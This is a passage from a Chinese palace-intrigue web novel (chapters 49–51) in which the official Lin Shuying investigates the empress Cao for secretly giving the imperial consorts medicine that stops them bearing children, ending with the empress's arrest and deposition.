况且,当下的皇帝不再是刚登基时的能被随意拿捏的了,皇上卧薪尝胆,未雨绸缪,迟早要扫平士族。
而赵家就是这个开端。
皇帝要开始施展身手了。
“你...你莫不是要气死我!你把我谢家上下,把你母亲的性命放在何处?”
谢重渡见这人依旧不肯松口,加重了手上的力道,再一鞭子打下去。
“你当上总督掌管京城禁军了,也成为皇帝的心腹,就连我在朝堂上也要落你一头,你就真当自己是个人物了?皇帝借你的手清除士族,若是清了还好,若是清不了呢,你觉得你还有活路吗,啊?”
谢重渡拿着鞭子的手直发抖。
就算这一切都成了,那他谢家呢,其他不听话的士族都被铲除,手握重军的谢寅和他谢家又走到了什么境地?
不就是下一个招摇过市的士族吗。
曾经这个儿子让他头疼,是因为执拗地不看书,不愿科举,而现在谢寅的执拗依旧让他头疼。
49. 第 49 章
次日一早,林疏影伸了伸懒腰,换了一身太监的衣服,拿上令牌,跟上了齐怜生。
她握着令牌,脑海里有了头绪,既然凶手躲在背后,那她就暴露出来一点。
看看谁先坐不住。
摸着令牌,她心里突然冒出来一个人,昨天走得那么匆忙,究竟是什么事情。
总不能赵家的事,他应该先把那档子事解决了,才接下此案的。
半天找不到头脑的林疏影干脆不再想了。
两人之间的关系也让她头疼不已。
只能走一步看一步了。
按着昨日打听来的,贵妃孙氏与皇后曹氏之间可是水深火热的很,两人相互看不顺眼惯了。
贵妃又怎么可能轻易喝皇后端过来的药,林疏影心里的疑惑挥之不去。
不管如何,去了诊脉便知。
“齐大人,你觉得背后的凶手到底是谁,而他又想做什么呢?”
林疏影仍旧跟在齐怜生身后,压低了声音。
“曹氏身上疑点太多,又十分嚣张跋扈,但又没有什么实际的证据,一时之间我也没有什么头绪。”
二人一路便再无话。
到了贵妃寝殿,林疏影上前把令牌亮出来。
那守卫一见令牌便不敢多说,放他二人进去了。
挨过周遭的丫鬟太监之后,两人终于见到了皇贵妃,孙成真。
若说,皇帝的后宫最不缺的不是美人,而是各家士族塞进来的娘娘们。
品貌上佳,心眼也不少。
那些混迹士族贵女圈的人,别的不说,心眼不能少。
算计来算计去的也都是再正常不过的了。
而孙家孙成真和曹家曹飞燕,闺阁时便被那来比较,谁弹琴好,谁书画好,谁女红好...
两人也就一直比较着,无论是暗中还是明面上,一见面都是好一场酣畅淋漓的辩论。
先将对方的全身上下评说一番,毫不吝啬自己的语言,再坐下来,喝几口茶润润嗓子,再抚琴相奏。
两人每次比试,都会引来不少世家子弟前来品悦。
在一次次掌声与欢呼声中,两人终于打成了平手,然后就入了宫。
一个皇后一个皇贵妃。
虽然相差不多,但是孙氏十分不服气,入宫以来,鲜少主动去皇后宫里,两人相互看不顺眼。
但是年少时的比试也再难成全,干脆两人就开始了暗中较量——谁先怀上子嗣。
林疏影昨日可是做了好一番功课,在等贵妃的时候仔细回忆着。
不等片刻,身边的丫鬟太监们都开始行礼,齐怜生拽起来林疏影,二人也算行过了礼。
比起皇后的一身雍容,贵妃倒是有些素了,但周身的贵气不可忽略。
她步伐稍微紧凑些,没有多余的做作,林疏影看着不远处登上台阶的人,心下对这人的好感不少。
比起皇后用华贵的东西堆砌的气质,她倒是更欣赏眼前这个懂得自己的美,懂得如何将自己的美展现出来的人。
“贵妃娘娘,此次前来有些冒犯,但关乎大夏根基,还是不得不冒昧,您能否让齐大人为您诊脉。”
林疏影站出来直入正题,她没时间说题外话。
若传闻中皇后与贵妃两人关系如同水火一般,那贵妃也可以成为她们的助力。
“哦?发生了何事,竟劳烦皇帝这么兴师动众,本宫可是昨日就听说了你带着人闯了皇后那,最后还是被扫地出门的。”
孙氏娇俏地笑了两声,她没直接搭话茬,而是想知道皇帝究竟想要做什么。
她陪皇帝不算久,但时间也不短了。
可就是皇后那贱人偏得圣宠,总摆出一副母仪天下的样子,虚伪至极。
既然皇帝连皇后都要下手查了,那她又能好到哪去呢。
她虽然不懂皇帝玩的制衡,但赵家一族被端了,她到底是被父亲警醒了一番,让她这阵子安分些。
怎么着,也不能坐以待毙,先弄清楚这些人的目的来说。
她可没皇后那么蠢笨,只会灭口和羞辱人。
“娘娘说笑了,臣只不过是奉旨办事,还请娘娘将手伸出来,好让齐大人摸脉。”
林疏影陪着笑脸,示意身后的齐怜生上前。
果然娘娘们都是有些脾气的,自己贸然闯入总要受些白眼。
但总比看着士族一点点蚕食大夏的好。
孙氏只好把自己的手腕伸出来,她有些心急了。
朝廷上的官员也不是好吓唬的,恐怕昨日那纸老虎皇后把她能用的招都用完了,她也就没施展的空间了。
孙氏又是一顿腹诽,她还不忘轻轻地翻白眼。
一想到那纸老虎装模作样,就让人作呕。
自从入了宫,她的对手越来越这讨人厌了。
林疏影看着齐怜生的神情,见他的眉头紧皱着,便觉不好。
随后那人收手,冲林疏影摇摇头。
“不知贵妃可喝了皇后给每个宫里送的汤药?”
林疏影领会了齐大人的意思,便知道这又是一个受害者。
“都要喝的,皇后娘娘可是派人盯着所有嫔妃们喝下的。”
贵妃身边的小侍女春红上前替主子回答。
“早就听闻娘娘与皇后的关系并不十分好,皇后送来的药,您就不怀疑有问题吗?”
林疏影继续往下问,她眼神犀利,看着孙氏,一眼也没挪开过。
两人未入宫时,就一直斗,不管是做女红还是比弹琴。
到了宫里必然不可能转性了,成了手足情深的姐妹。
皇后送来的汤药,单单是这其中便有很多空子可以钻,更别提别的事情了。
她就一点儿也不怀疑自己曾经的“宿敌”送来的东西?
“你的意思是,汤药有问题?”
“不可能,难不成皇后胆大包天要把整个后宫的妃嫔都害得不能生育?她哪里有那么大的胆子,你不知道,她做事一向只做有十分把握的,就像弹琴,只要她十分熟练并且很少出错的曲子才会被她拿出来与我较量。就算是这么做了,那她为何也一直没有孩子?”
孙氏本就是士族贵女,她能听懂林疏影话里的意思,这也是林疏影一点儿也没避讳的原因。
说出来,大家都明白,若是含含糊糊,自然案子就推动不了一点。
但依照孙氏的话,那皇后也没可能做这件事...
皇后也喝了那药,贵妃也喝了,其他妃子...
林疏影转身看着齐怜生,投去疑惑的目光,询问他对贵妃这段话的看法。
齐怜生还未做出判断,只听见孙氏继续说,“应该是子嗣的事情吧,我知道你们费劲心思来查后宫之事,心里也是不愿的,我就把我知道的全告诉你们,太医院的御医张映亲自验过这药,他说没问题,所以本宫才喝的,我也不傻,总不能真喝了伤身子的药还被蒙在鼓里。”
见孙氏并未遮掩,林疏影应下。
太医院又扯进来一个人,张映,不知是不是那日的人。
林疏影行礼告退,两人要去淑妃宫里了。
临走时,她特意嘱咐贵妃这件事不能外传,尤其是皇后。
“你以为本宫想让她好过?”
她一直看不惯皇后是真的,把皇后当作对手也是真的,但她想堂堂正正地将这人比下去,不是背地里用些上不了台面的手段。
孙氏承诺了林疏影不让自己宫里的人往外说。
她也真有些好奇,皇后到底会不会做这些事情。
也想看看,这人还配不配做她的对手。
那就静观其变吧。
两人往淑妃的住处走去。
“齐大人可知道贵妃嘴里的张映是谁。”
林疏影仍旧跟在齐大人身后,做好了伪装。
“太医院只有两位御医,一个恃才傲物,就是那日说话的人,叫苏陈正,另一个就是张映,这人算是好相处的,竟也掺和进来这档子事情来。”
两人去了淑妃宫里。
淑妃向来“事不关己高高挂起”,林疏影大闹坤宁宫的消息整个后宫都传遍了。
淑妃本没想掺和,甚至连婢女都不肯往皇后那里走动了。
本以为,只要自己不管,就不会牵连到自己。
谁曾想,次日,林疏影就登门了。
她小心地看着林疏影,察觉到那人的眼神时,忙不迭地收回来自己的目光。
“林大人辛苦了,不知此来,是为何事?”
淑妃魏清箐是魏丹清的姐姐,魏家近几年才得了圣眷,她也得以入宫服侍。
能有近日的荣华,她是感恩戴德的,平日里皇后的话她从没违背过,皇帝的话她更是言听计从。
“只是,娘娘可是一直喝着皇后给的药?”
林疏影本以为这人的与世无争是装出来的手段,没成想这人当真一点也不争。
单看屋子里的装饰都朴素得可以。
谁能想到,这人有一个与她性格完全相反纨绔不堪的弟弟呢。
“是,皇后娘娘执掌后宫以来,我从未做过什么见不得人的事,这些,想必大人也是知道的。”
淑妃十分谨慎地把自己挑出去。
林疏影见这人实在不知道,就让齐大人诊了脉,随后就告辞了。
只剩下一个丽贵人了。
这丽贵人秦真是皇帝外出时遇到的,说不上是乡野妇人,但总归是“泼辣”了些。
这位娘娘平日里只按照自己的喜好行事,对皇后也是面上恭顺,其实不满的很。
因着没有家族的庇护,她在宫里的日子也不大好过。
“娘娘,可否让齐大人为您诊脉?”
林疏影倒是给足了礼。
丽贵人在一边打量着两人,片刻便笑出来声,“你们二人着实滑稽,哈哈。”
爽朗的笑声响起。
本是嘲笑的声音入了林疏影的耳朵倒是让她舒心不少。
这么放肆的笑声,她离开巴郡之后再难听见了。
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丽贵人笑完,捧着疼痛的肚子抬眼看着了仍站立在原地的两人,意识到自己失态了。
宫里的规矩多得很,她简直要烦死了。
还有那个整日里作妖的皇后,更让人厌烦。
“倒是可以,不过...”
她早就知道皇后的一些小心思,就凭那人整日里怨恨所有人的模样,不做些什么还对不起她呢。
昨日被林大人甩了面子,她没能见着那人吃瘪的模样,真是遗憾呐。
“难不成娘娘想知晓全貌?”
林疏影苦笑着,这人完全是看热闹的心态。
不过,在深宫之中,无法掌握自己的命运,能掌握快乐也是好的。
“上道。”
“不行哦。”
林疏影无情拒绝,惹得美人娇嗔,哦不,是生气。
“这件事牵连甚多,明日皇后的药再送过来,就不要喝了,倒掉也好,扔了也好。”
她暗示得已经很明显了。
秦真听了,不自觉地摸上了肚子,她知道皇后没安什么好心,也没想到这人竟如此心狠手辣。
不过,她本来也没奢望自己能有孩子,毕竟这是在后宫。
说来说去,不过是命罢了...
“明日你要动手不是?”
林疏影忙做出噤声的手势,摇摇头,一脸疑惑地看着那人。
“我想看热闹...”
要是一下子查出来,皇后就成了人人喊打的老鼠了,曾经的贵女跌落神坛,这么好的一幕,她怎能错过。
林疏影无奈地摇头,这人还真是乐观呐。
诊脉完,二人走在路上,林疏影回想着一切。
无一例外,也都喝了皇后送来的药,身子虚弱得几乎无法生育。
林疏影琢磨着,现下足以验证皇后有问题,之于皇后为什么也喝那要人命的东西,恐怕得另说。
眼下没有证据,全是她的猜测,不过她早就想好了对策。
二人回去后利索地换了衣服,林疏影吩咐柳侍卫,“你去招呼一下,等兄弟们吃完了晌午的饭,就让他们随我去各个宫里取药渣。”
既然皇后觉得自己做得天衣无缝,那她就看看,到底是不是没有一丝缝隙。
齐怜生在一旁没说话。
不一会儿,谢寅姗姗来迟,他走路极慢,也全然没了平日里的英气,眼下淡淡青黑。
二人心有灵犀一样,谢寅刚走过来,林疏影正好吩咐完转身就看见了虚弱不堪的人。
远看,仅仅从那有些蹒跚的步伐中,她就有了猜测。
但谁能打得堂堂禁军总督?
难不成,是谢大人?
林疏影脑海里冒出几个答案,但心痛却没停下来过。
说不准,这次就是自己连累了谢寅,让他因着“臭名声”惹了大人不快,才招致了这一顿打。
她心里忍不住自责,眼眶里几番模糊都被强硬得压下来,视线之内的红衣人的轮廓糊成一片。
最后实在没办法,她直接转过身去,不再看那人。
“怎的,见我这副模样,幸灾乐祸了?”
谢寅远远地就看见了那人,没看两眼,那人就“厌恶”地转过身去。
不管怎么说,他对自己这张脸还是有些自信的,莫不是眼前这人看久了看腻了,也厌弃了?
心下一阵醋意翻涌。
他可是听了暗卫禀报,今日一早她和那姓齐的就双双去为各宫娘娘诊脉了。
齐怜生不过是多读了几本书,平日里拘谨得让人不自在了些,哪里就让林疏影着迷了?
但世家贵女貌似都偏爱齐怜生这样儒雅的君子。
谢寅看着一边的齐怜生直皱眉,不管怎么说,他都不会把林疏影让出去,也不会让这人有一丝可乘之机。
“谢大人可好,有没有不舒服的地方?”
林疏影控制好情绪,转过身来,看着略显疲惫的那张脸,稳住了话音开口道。
“你们此去有什么发现?”
谢寅没搭林疏影的话。
林疏影的话没了着落,她也没多追问,只是垂下眼,遮掩住情绪,将刚才的事一五一十地陈述完。
“太医院那里有我盯着,你大可以实施,只要揪出一点线索,我就有法子审问出更多的东西来。”
谢寅坐好,拿起桌子上的茶盏,示意林疏影倒水。
齐怜生见了直皱眉,他还伸出手想要拦住上前倒水的人,却没拦住,换来的就是林疏影一个感激的眼神。
他也只好把火气憋在心里,暗暗地给谢寅又加了一个“无礼”的标签。
而林疏影现在顾及着谢寅的伤,只好随了这人。
就是倒水而已,她并不觉得有什么。
平日里谢寅帮她不少,这也不算是被羞辱。
而谢寅将那茶放在嘴边,轻轻抿了一口,眼神直勾勾地看着“生闷气”的齐怜生,十分得意地露出一抹十分得意的微笑。
眼神中的猖狂、挑衅更是不止。
50. 第 50 章
林疏影摇摇头,不知道是不是自己的错觉,怎么谢寅这个人越来越幼稚了呢。
待到下午,她算好了时间,带着人直奔坤宁宫。
依旧破门而入,十分强横。
林疏影举着令牌,“奉皇上命令,把娘娘喝药剩下的药渣交出来。”
她看着眼前惊慌失措的李嬷嬷,又抬眼看着上位的人。
那人显然丝毫没有要交出来的意味。
不过她早就料到了,皇后是块难啃的。
“李嬷嬷,你说,药渣去哪了?”
上位的人倒是一点也不着急,仍旧娴静地坐着,语气沉稳,眸光犀利。
“回娘娘,药渣早就倒了,现在估摸着已经被人处理了,林大人若是想要,恐怕是难于上青天。”
李嬷嬷反应倒是快。
一听见药渣时,她便慌了神,自己一直帮皇后娘娘筹备这些上不得台面的事,没晚总有冤魂入她梦境。
冤魂总要缠着她问,‘为什么不让她们投胎’的话,每每午夜惊醒,冷汗已经湿透了整个后背。
原先,这林疏影来时,并未说是为何而来,她也只当是皇帝要挫一挫皇后娘娘的锐气,昨日也是刚劝解了娘娘行事低调一些,没成想今日又来了。
如今,意味已经十分明显...
她要该怎么办呢,不管梦里的冤魂真不真,可这林大人就是一副要索她命的冤魂啊。
只要这件事情暴露,就算娘娘没事,她也会被拉出来做替罪羊。
到时候可...
李嬷嬷眼神流转几番,看看上位的娘娘又看看底下眼神似利剑的林大人。
心下更慌了。
“哦,李嬷嬷这是何意?”
林疏影看出来这人的慌乱,便知道,这件事与这位脱不了干系。
“还请林大人恕罪,是...”
还未说出话来,李嬷嬷就往皇后那看去,被一记眼神打回来。
皇后的意味再明显不过,她是陪嫁来的,享受了曹家的衣食,又享受了宫里的荣华,现在就是她该报答的时候了。
林疏影将这一切尽收眼底。
“是老奴擅自把药渣倒进了恭桶里,现在早就被...”
说罢,她急忙跪下,算是把这件事揽到了自己身上。
皇后暗自吐了一口气,她收回扶在椅子上的手,轻轻擦着手上的汗,一脸从容地说道,“怎么,林大人又要用皇帝来压我了不成?本宫虽然是一介妇人,但你若是在本宫的眼皮子底下,罚本宫的仆人,本宫也定然不会放过你。”
曹氏说话的声音并不大,但就是有莫名的压迫感。
近天子身侧服侍,果真有不一样的地方。
林疏影不会就被这些话吓倒了,她不紧不慢地开口。
“在娘娘的眼皮子底下就放走了这么重要的东西,您就是这样管教后宫的么。”
随后她也是毫不客气得拿来手下人的鞭子。
一点不顾周围人地甩在了李嬷嬷的背上。
她本来就跪着,求林疏影恩典,本以为有皇后娘娘来撑腰,她能躲过这一劫,没成想,噩耗突来。
疼痛落在身上时,只觉得是幻觉。
随后慢慢扩展开来时,真真切切的痛觉刺激着她的后背的每一条神经。
惨叫皇后失态的喊叫一齐发出。
“放肆,本宫可是皇后,你敢!”
“我怎的就不敢了,希望皇后娘娘看清楚我手里的令牌,这刁奴一而再再而三地阻拦我查这古怪的汤药一事,这一鞭子就当是教训,明日太医院送来汤药时,我会再挨个登门。”
林疏影放出这句话转身离去,再没管身后状况。
李嬷嬷大声喊疼,喊冤,喊求皇后娘娘为自己撑腰。
皇后则呵斥道,“闭嘴,贱奴,你给我闭嘴!”
如果说昨日她还不确定林疏影那着令牌来查的是这件事,她还能说服自己是皇帝想让她安生几日。
但现在林疏影不再遮遮掩掩了,甚至当众给罚李嬷嬷,这就是在拉她一国之母的脸。
她几乎将指甲嵌进了肉里,疼痛与耻辱一同占据着曹氏的大脑。
林疏影随意践踏坤宁宫不说,随意出入坤宁宫不说,现在这个人完全不给她脸面了,猖狂至此。
疼痛也是清醒剂,她颤抖着身体,慢慢转换了思绪,难不成昨日她找到了什么证据。
曹氏心头涌上一股子莫名的情绪,她自打进入这皇宫,已经快要被逼疯了。
为了怀上第一个皇子,她费尽九牛二虎之力,但没有任何结果...
但她所有的东西几乎都献祭给了所谓的嫡长子这个名衔。
要知道,子嗣一事,皇帝可是在意得很,若是她已经有了身孕,不说林疏影是纸老虎了,就算是真老虎,她也是不怕的。
只要她能打好子嗣这一牌,还害怕皇帝会因为她搅弄后宫治罪于她吗。
但她没有,她抚摸上自己的腹部,面容再没了端庄从容。
扭曲的神情让周围的下人不敢靠近,就是李嬷嬷也只能瑟缩在一边,忍着疼痛,唯唯诺诺地跪着。
要知道,皇后发怒起来,她们这些人随时都有可能被换走。
至于换走之后的命运,没人知道,恐怕都被私下处理了,听说那些被处理的人最后连尸首都寻不到。
曹氏皱眉,加重了手上的力道,为什么这个肚子这么不争气。
要是能受孕容易些,为了能换上皇帝的第一个孩子,她也不至于做出那般事。
不行,她不能坐以待毙。
思索着如何应对林疏影的排查,她颤颤巍巍地扶住身边的桌子,勉强维持着站立。
“李嬷嬷留下,其他人都给我滚!”
一点仪态也不顾了,眼下曹氏也没心情管这些了。
一旦被发现,不光是她,她背后的曹家,她的父母都要被牵连的。
她不能让父亲被揪出来,不能...
曹家没了她可以,但若是没了父亲,那曹家便再没自足之地了,与那被抄灭的赵家别无二致了。
所以她得快点想出法子来,得快些想出来,快点!
“啊——”
曹氏用力捶打着自己的脑袋,她近乎疯魔了一般,将桌上的东西一扫而空。
凤冠堪堪悬在半空,拽着她的头发。
随后,被一把拽下,带着几缕头发,被曹氏扔到了千里之外。
李嬷嬷看着发疯的人,慢慢靠近。
曹氏跌坐在高位上,散乱不堪的头发和有些花了的妆容之下,露出一脸的憔悴。
她为了子嗣做出了这么多,为什么自己还是没有,为什么...
难不成是她作孽太多。
可这世上,作孽的何止她一个,为什么要债的偏偏盯上她!
为什么。
明明只差一点,只差一点。
那些嫔妃已经喝了三四年汤药,已经不会再阻碍她了,而她这些年喝的没有加“料”的药,也该把自己体寒的身子养好了。
也该怀上皇子才是。
她从没想过要做这么决绝的,从没有的,只是她的身子一直怀不上而已,只是她的肚子不争气而已。
一旦她怀上了,便会将那些人的药全部换成与她一样没加“料”的药。
她没想着害别人的,没有的。
只不过,她曹家为了真正站稳,得需要这个嫡长子而已。
曹氏忽然捂着肚子大哭起来,将这些年的怨恨都哭出来似的。
“皇后,莫要再失态了,我知道您这些年的苦楚,但我这些年日日被梦魇缠身,也算是不容易的,既然咱们都做了,还是不要再自怨自艾了,现在应该想着怎么应付那林疏影才是。”
李嬷嬷见曹氏不再摔东西,小心谨慎地上前,缓缓搂住曹氏,慢慢地为她
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顺气。
她看着曹氏,仿佛看见了那个一心要比上孙丫头的曹氏,看见了少女最放肆的时光和最脆弱的时候。
那时候,小姐尚待字闺中,童真质朴,哪里懂得这些后宫女人之间的弯弯绕绕。
如今走到这一步,再也无法回头了。
“嬷嬷...”
听了李嬷嬷的一番话,曹氏直接缩进她怀里,抽泣两声,算是缓解了刚才的情绪。
无论如何,她也不再是那个比赛输了躲进嬷嬷怀里求安慰的小女孩,也不再是能在阳光下翩翩起舞的人了。
良久,抽泣声也渐渐远去,曹氏缓过来,挣脱了李嬷嬷的怀抱。
“你的伤可还疼,眼下本宫只剩下你了。”
曹氏做事一向严谨小心,别人她不敢用也不会冒险去用,除过父亲为她在太医院安排的杜周,她只有眼前这个人了。
林疏影现在还没有证据才是,她若是有,早就亮出来了。
而她这一番,不过是让她自乱阵脚而已。
曹氏的情绪迸发之后,稳下了心神,她忍着心中的不快,盘算着要怎么办。
她自己服用的汤药和其他嫔妃服用的不一样,药渣里是能分辨出来的。
现在她要做的就是将药渣变成一样的。
至于是如何换药,她不能暴露,只有...把其他嫔妃的药都换成与她一样的。
这样只要与其他妃嫔的拿药的丫鬟说好,也不会有什么问题,而林疏影也休想再抓住她任何一点把柄了。
林疏影从坤宁宫里出来之后,又去了其他宫里寻药渣,本寻着了处理的丫鬟,最后她们却都说被皇后宫里的李嬷嬷收了去。
最后还不忘为李嬷嬷说一两句好话,说这宫里只有李嬷嬷懂得她们的辛苦,只要有事情的找她总也没错。
林疏影不耐烦听这些被笼络了人的话,她直接回了住处,只等皇后露出马脚了。
既然今日的药渣寻不得,那她就等曹氏明日为她准备的药渣了。
当天夜里,杜周准备完明日要用的药材之后,一只脚刚跨出门,迎上来一个披着黑衣的人。
他只得收回步子,往屋里走去。
似乎这一切再正常不过了。
杜周一脸不耐烦地看着眼前人,“怎么,娘娘又有什么要求了?”
他背对着来人,极其厌恶地开口。
“明日,其他妃嫔的汤药里都不要加那东西了,让她们喝一次与娘娘一样的汤药,丫鬟们来取药时,你得知会好,听见没有。”
李嬷嬷顾不得这人的“逆反”了,现在多一事不如少一事,杜周就算再不服,也与她们是一条船上的人。
他就算是要背叛,船沉没了,他也逃不过。
这点道理这个白眼狼应该是知道的。
“你别再想着耍心思了,近日皇后娘娘日日忧心,若是你连这点小事都做不好,就等着挨板子吧,你也别忘了是谁把你送进宫里的。”
李嬷嬷看着那人的背影,眼中的狠厉一点也没隐藏。
不管如何,这件事只要能过去,这杜周也别想着继续受着曹大人的恩典了。
白眼狼永远养不熟。
二人心思各异,没想到屋内的一幕全都被屋顶的长煊看得一清二楚。
而周围谢寅带着人埋伏着,就等长煊的信号。
不消片刻,两人一前一后从太医院出来,长煊吹了一声口哨。
哨声响彻云霄,惊醒了不远处几个栖息的鸟儿。
连带着李嬷嬷被吓得跌倒在地,她慌乱地看着周围,脑袋不停摇晃旋转,生怕冤魂索命。
相比之下,杜周倒是冷静很多,他慢慢往后退。
谢寅手下的人也不是吃素的,三两下就把这两人包围住。
李嬷嬷见着眼前这一幕,看清楚了谢寅手中的令牌之后,直接瘫软在地,晕死过去。
果然,冤魂来索命了。
51. 第 51 章
那日晚上,曹氏在坤宁宫等着李嬷嬷的消息。
一直等到夜半三更,还不见人回来。
曹氏那早就惊慌不已的心更加焦急,这件事还是暴露了。
林疏影放出那消息就是等她自乱阵脚,露出破绽。
毁了那么多的证据,如今证人却落了圈套。
曹氏看着桌案上的烛光。
愣神了好一会儿,她想起来第一次这样仔细看着烛光还是在闺阁里看话本子。
那是贵妃偷偷给她的,算是生辰贺礼。
那天夜里,也是这样,微风吹着窗扇,发出轻微的响动,烛光忽闪忽闪的。
尚待字闺中的女孩从来没听过这样跌宕起伏,与众不同的故事。
她只觉得,烛光太不方便,总是跳动着,让她看不清当下的情节,同样让她有些恍惚的,还是自己好像钻进了书里,成为了大胆、勇敢的少年去闯荡世界。
也就是看得太入迷了,她没办法起身,去关上透着风的窗户,于是就伴着晚风和摇曳在风中的烛光还有全新的人生,进入了梦乡。
现在再掀开当年的记忆,她算是可以真切地体会到了除却话本以外的周围的所有的东西了。
不管是微风吹过的声响还是烛光闪烁的情景,一帧一帧地清晰非常地闯入她的视线。
但是伴随着此景的还有被自己掐得生痛的手和乱麻一般的心。
年少时在话本里见过不一样的世界,当时珍爱万分,但终究被现实困在高墙之内的自己从来都没有选择。
而她的身份地位,既是她引以为傲的,也是真正束缚住她的东西。
有一个念头忽然出现在她脑海里。
不管是在话本里,还是在皇宫里,她应该都不是那个叱诧风云的佼佼者。
而她所有的努力换来的一切尊位和荣耀即将在明天终结。
这次是她没处理好,输给林疏影,她心服口服。
明日林疏影说要来检查药渣,不过是来揭露她的罪行。
她自己清楚,子嗣关乎大夏基业,她妄想借用子嗣为曹家打好根基,皇帝若是知晓了,必然不可能再饶她。
坤宁宫也不再是她的住处了,而身上的首饰,也不再属于她这个罪人了。
回想着自己辛辛苦苦的二十来年,她无怨无悔。
小时候,努力学习礼仪,学习女子们要精通的所有,只为让父母更开心,更重视自己,给自己更多的好看的衣服穿,赏自己许多华丽的首饰戴。
长大些,京城中有人暗地里作比较,将贵女们罗列出来,四处搜集她们的书法,四处欣赏她们的琴音,只为评选出京城第一贵女。
她沉迷其中不可自拔,也是这些,让她意识到女子要想名满京城,离不开自己小时候的努力练习。
及笄之后,她如愿嫁给大夏拥有至高无上的权力的人,却发现人人都说的拥有无上权力的皇帝竟然处处受太后摆置。
而后她下定决心,为皇帝夺回权力。
她陪了皇帝五年,这五年里,皇帝想要的永远是权力,她也随了他的愿,从父亲那里了解到了不少朝堂之事,在后宫也处处与太后作对,终于,她等到了太后的破绽,一击必中。
再之后,就是听了父亲的劝诫,让她放下心来生养,但她身子太弱,不得已,她与曹家都走上了一条不归路。
父亲为她找来药方,为她在太医院安插了杜周,为她...
如今,皇后之位已然保不住了,她还能怎么办呢,父亲应该已经想好了对策吧。
弃她保整个曹家。
曹氏放开了已经被掐出血印的手,她慢慢得摊开来,仔细端详,你就到这里了。
她不怨恨父亲,也不怨恨曹家,她只怨自己身子不争气,自己的肚子不争气。
不过,她的结发丈夫又会怎么待她?
次日一早,林疏影拿着昨日从李嬷嬷嘴里审问出来的证词以及那“调理”的汤药各味药材奉给了皇帝。
谢寅则是立在一侧,看着眼前的一切。
“真是皇后所为?”
李昭朔神情不明,他拿起来证词,看了很久。
曾经帮他稳坐皇位的结发妻子竟然也要算计他,为了曹家的利益来算计他。
公主说他无情,皇后也常说他太爱权力。
但她们所拥有的东西,所享受的生活,哪一个不是这至尊的权力带给她们的,若月明不是公主,她哪里能享受如此殊荣。
若他就是个乡野匹夫,皇后又怎会屈尊嫁给他。
明明就是冲着权力地位而来,又将他说得冷血无情,真是可笑。
他以为曹家会不一样,没成想,不过是还没显现罢了。
没有人能抵挡权利与利益的诱惑,就算是个女人都要在他眼皮子底下为自己谋些东西。
“既然如此,朕这就把皇后打入冷宫,此事不可能只是皇后一人指使,然而无论是这杜周还是李嬷嬷的证词里,都咬定是皇后,你们说,这背后到底是谁在装神弄鬼呢?”
背后之人太过明显,两人证词直指皇后,他想要的,是拔除背后的人,而不是一个简单的女人。
说罢他微微抬起头,看着底下的林疏影。
意味太过明显。
“禀皇上,臣也觉太过蹊跷,容陛下让臣再往坤宁宫走一次,让臣寻一寻线索。”
林疏影行礼道。
皇后也喝了加了料的补药,但是她仿佛不知道,李嬷嬷一口咬定皇后所喝的汤药没有任何问题,但那杜周却含糊不清。
有些奇怪之处,她未曾查明,不敢乱说。
然而,她隐隐觉得,这背后,定然还有背后之人。
若说皇后是只为自己早日得到子嗣,那曹家之后的人就是不想让皇帝得到子嗣。
那人意图大夏基业不复,难不成是与大夏有仇,还是北方的突厥?
思及此,她心跳一滞,如果是第二种猜想,那公主现在不就是生死未卜了。
而突厥假意求和八成也是为了拖延时间...
如果是这样,大夏还在因为“内讧”而不停地自我消耗,也正应了突厥的心思。
“好,你屡立奇功,这件事就先交给你吧,谢寅也是,你们二人可是朕的宝贝,没了你们,朕还不知要如何处理这些事了。”
皇帝袖子一挥道。
如今,能为他所用的人不多,士族已经占据了朝堂的大半,谢家从来要中立,这一次,他可不会再放任谢家不管不顾了。
他得让谢家,让全天下的人知道,这朝堂到底是姓李还是姓曹、孙...
两人听着皇帝拉拢的话面面相觑。
随后,林疏影拿着皇上的手谕与谢寅再去了坤宁宫。
此番二人身后跟着嬷嬷和太监,都是来给皇后入冷宫做准备的。
坤宁宫的宫门大开着,里面丫鬟站得整整齐齐。
往里走些,皇后平日见诸位嫔妃的屋子的门大开着,而她正端正雍容地坐在那里,静静地看着越来越近的人。
与林疏影想得不同,曹氏竟然身着皇后的华服,戴上凤冠,算是穿上了最好的衣服戴上了最正式最华贵的首饰,端坐着等林疏影。
她有些惊讶。
在她眼中的曹氏,不过是个争强好胜,只为家族利益的人,这一刻,她忽然觉得,坐在不远处的那个人或许并不像她想得那样。
或许那个人除了被家族束缚住的东西以外,还有些别的东西。
但那种感觉一晃而逝,她再想找时,已经看不清了。
她站在一侧,将陛下的手谕交给身后的小福子。
小福子也是一下子就懂得林疏影的想法,接过来之后,当即宣读废除皇后,遣散坤宁宫中丫鬟嬷嬷。
霎时间,浩浩荡荡的人走出去,偌大的宫殿萧条不少,投在墙壁上的光影也暗淡了不少,然而高位上的皇后仍旧端庄。
林疏影尝到了一丝落寞的意味,她看向那人,心下的怜悯还是收了回去。
有果必有因,既然做了那些事,就该接受这些后果的。
正当她有些慌神之际,瞥见了坤宁宫门外的丽贵人。
好家伙,这位娘娘一身丫鬟的衣服,冲她招手,还时不时冲皇后的方向翻白眼。
林疏影的烦闷一下子就被丽贵人的活泼驱散了。
是了,后宫其他人大概也都知晓了皇后所为,丽贵人的举动还是轻的。
说不准还有人想咒作孽的皇后呢。
小福子刚念完手谕,一个人就闯了进来。
“参见贵妃娘娘,只是废后所在的寝殿实在是...”
他本想拦住贵妃,没成想那人不管不顾劝阻,直接看着高位上的人。
“你自寻死路,曹飞燕,你傻得我都不认识你了。”
孙氏不明白为什么,她昨夜辗转几次,知道微风吹开未关紧的窗扇,让一缕月光洒进屋子里时,她彻底火了。
她想不明白,当初那个谨慎小心,内心还有少许良善的人竟然变得冷血得让人认不出了。
“你这个贱人,把我们所有人都搭进去,你到底是为了什么!”
她一身衣着简单,也丝毫没有打扮的心思,没有人不想要子嗣,没有哪个女人没想过不要孩子。
而
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曹氏这一整,她甚至都没了要子嗣的希望。
后宫里的冷清,尔虞我诈,谁人不知,她在这里的每一天都想找到些许依托。
但是皇后心狠地把她们几个人的念想都掐断了。
“你不敢说?敢做这些肮脏龌龊上不得台面的事,不敢说出来?你年少时哪里是这样心狠手辣的人。”
泪水在眼眶中不停地转,她二人虽然说在闺阁里就开始被人拿来比较了,但至少一起竞争的情分还是有的,这个人为了自己,为了皇后之位要这样生生将后宫的所有人都拖入深渊吗。
